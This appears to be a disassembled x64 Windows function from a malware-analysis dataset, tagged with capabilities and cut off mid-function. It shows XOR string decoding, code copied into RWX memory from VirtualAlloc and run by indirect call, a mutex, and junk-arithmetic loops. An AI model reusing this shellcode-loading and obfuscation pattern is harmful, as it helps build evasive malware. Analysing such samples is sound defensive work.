Function at 0x14001d4f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x16c0
call fcn.1400324a0
sub rsp, rax
movaps xmmword [rsp + 0x16b0], xmm6
movaps xmmword [rsp + 0x16a0], xmm7
movaps xmmword [rsp + 0x1690], xmm8
movaps xmmword [rsp + 0x1680], xmm9
movaps xmmword [rsp + 0x1670], xmm10
movaps xmmword [rsp + 0x1660], xmm11
movaps xmmword [rsp + 0x1650], xmm12
movaps xmmword [rsp + 0x1640], xmm13
movaps xmmword [rsp + 0x1630], xmm14
movaps xmmword [rsp + 0x1620], xmm15
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x1610], rax
xor esi, esi
lea rcx, [rsp + 0x240]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x240]
call fcn.140002530
nop
movsd xmm0, qword [0x140036de8]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140036df0]
mov dword [rsp + 0x168], eax
movzx eax, word [0x140036df4]
mov word [rsp + 0x16c], ax
mov edi, dword [0x14003f090]
movdqa xmm11, xmmword [0x140037360]
movdqa xmm12, xmmword [0x140037390]
movdqa xmm15, xmmword [0x140037320]
movdqa xmm13, xmmword [0x140037300]
movdqa xmm14, xmmword [0x140037330]
cmp byte [0x140036df5], sil
je 0x14001d80e
mov r9d, esi
cmp edi, 2
jl 0x14001d7a3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037370]
movd xmm0, dword [0x140036de8]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm8, xmmword [0x140037310]
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
paddb xmm2, xmmword [0x140037370]
movd xmm0, dword [rsp + 0x164]
xorps xmm2, xmm0
movd dword [rsp + 0x164], xmm2
mov r9d, 8
jmp 0x14001d7ac
movdqa xmm8, xmmword [0x140037310]
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001d7c0
jmp 0x14001d817
movdqa xmm8, xmmword [0x140037310]
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
lea r12, [0x140027340]
lea r15, [0x140000000]
test rax, rax
je 0x14001d87c
mov rdx, rsi
cmp rax, r12
je 0x14001d8ab
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001d866
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x14001d8c3
mov r8, rsi
jmp 0x14001d95e
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
je 0x14001d87c
mov r13d, 3
jmp 0x14001d97f
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001d8d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x48]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041ef0]
lea rbx, [0x140027740]
test rax, rax
je 0x14001da19
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001da08
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41ef0]
test rax, rax
jne 0x14001d9f0
jmp 0x14001da19
mov r8, qword [r15 + rdx*8 + 0x42860]
test r8, r8
jne 0x14001daff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001da42
mov r8, rsi
jmp 0x14001dade
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001da50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043500]
mov qword [r15 + rax*8 + 0x41ef0], rbx
mov qword [r15 + rax*8 + 0x42860], r8
inc rax
mov qword [0x140043500], rax
lea rcx, [0x14001aa20]
call r8
nop
mov rdx, qword [rsp + 0x170]
xor rdx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rdx
mov rcx, qword [rsp + 0x180]
mov qword [rcx], rdx
test al, al
je 0x14001e107
mov qword [0], rsi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.1400250a0
mov dword [rsp + 0x150], 0xffffff9c
mov dword [rsp + 0x154], 0x64
movdqa xmm0, xmmword [0x140037350]
movups xmmword [rsp + 0x160], xmm0
mov dword [rsp + 0x40], esi
xorps xmm0, xmm0
movsd qword [rsp + 0x148], xmm0
lea rcx, [rsp + 0x60]
call fcn.140001650
mov qword [rsp + 0x50], 0x64
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.140026e80
lea rcx, [rsp + 0x190]
call fcn.140002520
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x190], xmm1
mov qword [rsp + 0x1a0], rsi
lea rcx, [rsp + 0x60]
call fcn.140026ea0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026ef0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f20
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f50
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026f80
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140026fb0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x190]
call fcn.140024fa0
nop
lea rcx, [rsp + 0x50]
call fcn.140024f60
nop
lea rcx, [rsp + 0x60]
call fcn.140024f60
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024c0
test al, al
jns 0x14001e0f1
movsd xmm7, qword [0x1400372b0]
movsd xmm6, qword [0x1400372a8]
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov rbx, qword [rsp + 0x198]
sub rbx, qword [rsp + 0x190]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x190]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm5
call fcn.140002370
movsd xmm1, qword [rsp + 0x148]
addsd xmm0, xmm1
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x148]
subsd xmm1, xmm0
movsd qword [rsp + 0x148], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x148]
movsd qword [rsp + 0x148], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x200]
call fcn.140026080
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x200]
call fcn.1400022e0
lea rcx, [rsp + 0x1b0]
call fcn.140002520
lea rcx, [rsp + 0x1b0]
call fcn.140025170
nop
lea rax, [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x1d8], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.140027070
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1b0]
call fcn.1400023f0
mov rdx, qword [rsp + 0x1b8]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400270d0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov r8d, ebx
mov edx, eax
call fcn.1400024f0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
test al, 1
jne 0x14001dfd4
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001dfe3
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
nop dword [rax + rax]
xor ebx, ebx
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
movsd xmm5, qword [rsp + 0x148]
addsd xmm0, xmm5
movsd qword [rsp + 0x148], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14001e071
lea rcx, [rsp + 0x150]
call fcn.140026dd0
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14001e098
movsd xmm5, qword [rsp + 0x148]
lea rcx, [rsp + 0x160]
call fcn.140026fe0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x148], xmm5
inc ebx
cmp ebx, 5
jl 0x14001e000
sub rdi, 1
jne 0x14001dff0
lea rcx, [rsp + 0x1b0]
call fcn.140025110
nop
lea rcx, [rsp + 0x200]
call fcn.140026020
sub rsi, 1
jne 0x14001dd80
lea rcx, [rsp + 0x60]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x48]
call fcn.1400024c0
test al, al
js 0x14001dd73
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x190]
call fcn.140024fd0
jmp 0x140023f51
movsd xmm0, qword [0x140035d88]
movsd qword [rsp + 0x160], xmm0
mov eax, dword [0x140035d90]
mov dword [rsp + 0x168], eax
movzx eax, word [0x140035d94]
mov word [rsp + 0x16c], ax
cmp byte [0x140035d95], 0
je 0x14001e32c
mov r9d, esi
cmp edi, 2
jl 0x14001e2cc
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037370]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140035d88]
xorps xmm2, xmm0
movd dword [rsp + 0x160], xmm2
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
movdqa xmm1, xmm8
punpckhdq xmm1, xmm8
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400373a0]
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x164]
xorps xmm2, xmm1
movd dword [rsp + 0x164], xmm2
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x160]
add r10, rax
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14001e2e0
lea r8, [0x140043eb0]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x220]
call fcn.1400275e0
mov rcx, rax
call fcn.140025e40
mov r8, rax
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x220]
call fcn.140026020
movups xmm0, xmmword [0x140035df8]
movups xmmword [rsp + 0x1d0], xmm0
movzx eax, byte [0x140035e08]
mov byte [rsp + 0x1e0], al
mov r9d, esi
movdqa xmm6, xmmword [0x140037370]
movdqa xmm7, xmmword [0x1400373a0]
cmp edi, 2
jl 0x14001e53f
movdqa xmmword [rsp + 0x160], xmm6
lea rcx, [rsp + 0x1d4]
mov edx, dword [rsp + 0x160]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14001e3c0
cmp r9d, 0x11
jge 0x14001e59c
movsxd rax, r9d
lea r10, [rsp + 0x1d0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
lea eax, [r9 + 0x29]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x11
jl 0x14001e550
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x14001e609
mov rdx, rsi
nop dword [rax]
cmp rax, r12
je 0x14001e5f8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x14001e5e0
jmp 0x14001e609
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x14001e6ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e632
mov r8, rsi
jmp 0x14001e6ce
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e640
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x60]
lea rcx, [0x1400015e0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002520
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002530
nop
mov ecx, esi
mov rax, qword [0x140041bd0]
lea rbx, [0x140027740]
test rax, rax
je 0x14001e789
mov rdx, rsi
nop dword [rax]
cmp rax, rbx
je 0x14001e778
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41bd0]
test rax, rax
jne 0x14001e760
jmp 0x14001e789
mov r8, qword [r15 + rdx*8 + 0x3ff50]
test r8, r8
jne 0x14001e86f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e7b2
mov r8, rsi
jmp 0x14001e84e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e7c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140042210]
mov qword [r15 + rax*8 + 0x41bd0], rbx
